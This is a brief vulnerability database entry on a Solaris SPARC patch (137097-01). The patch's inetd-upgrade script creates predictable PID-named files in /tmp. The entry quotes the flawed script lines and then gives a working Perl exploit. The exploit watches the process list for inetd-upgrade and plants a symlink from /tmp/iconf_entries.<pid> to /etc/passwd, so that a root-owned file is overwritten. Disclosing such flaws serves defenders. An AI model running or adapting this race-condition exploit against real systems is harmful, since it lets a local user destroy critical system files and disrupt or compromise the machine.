The VapidLabs Vulnerability Database

Solaris Sparc Patch cluster

patches/137097-01/SUNWcsr/reloc/lib/svc/method/inetd-upgrade

lines :

72 inetdconf_entries_file=/tmp/iconf_entries.$$ 73
74 # Create sed script that prints out inetd.conf src line from inetconv generated 75 # manifest.
76 cat <<EOF > /tmp/inetd-upgrade.$$.sed 77 /propval name='source_line'/{
78 n
79 s/'//g
80 p
81 }
82 /from the inetd.conf(4) format line/{ 83 n
84 p
85 }
86 EOF

if 137097-01 is applied and changes need to be made to the inetd.conf file a malicious user can over write the contents of a root owned file with a simple script:

#!/usr/bin/perl 
$clobber = "/etc/passwd";
while(1) {
open ps,"ps -ef | grep -v grep |grep -v PID |";

while(<ps>) {
@args = split " ", $_;

if (/inetd-upgrade/) {

        print "Symlinking iconf_entries.$args[1] to  $clobber\n";
        symlink($clobber,"/tmp/iconf_entries.$args[1]");
        exit(1);
}
}

}

89243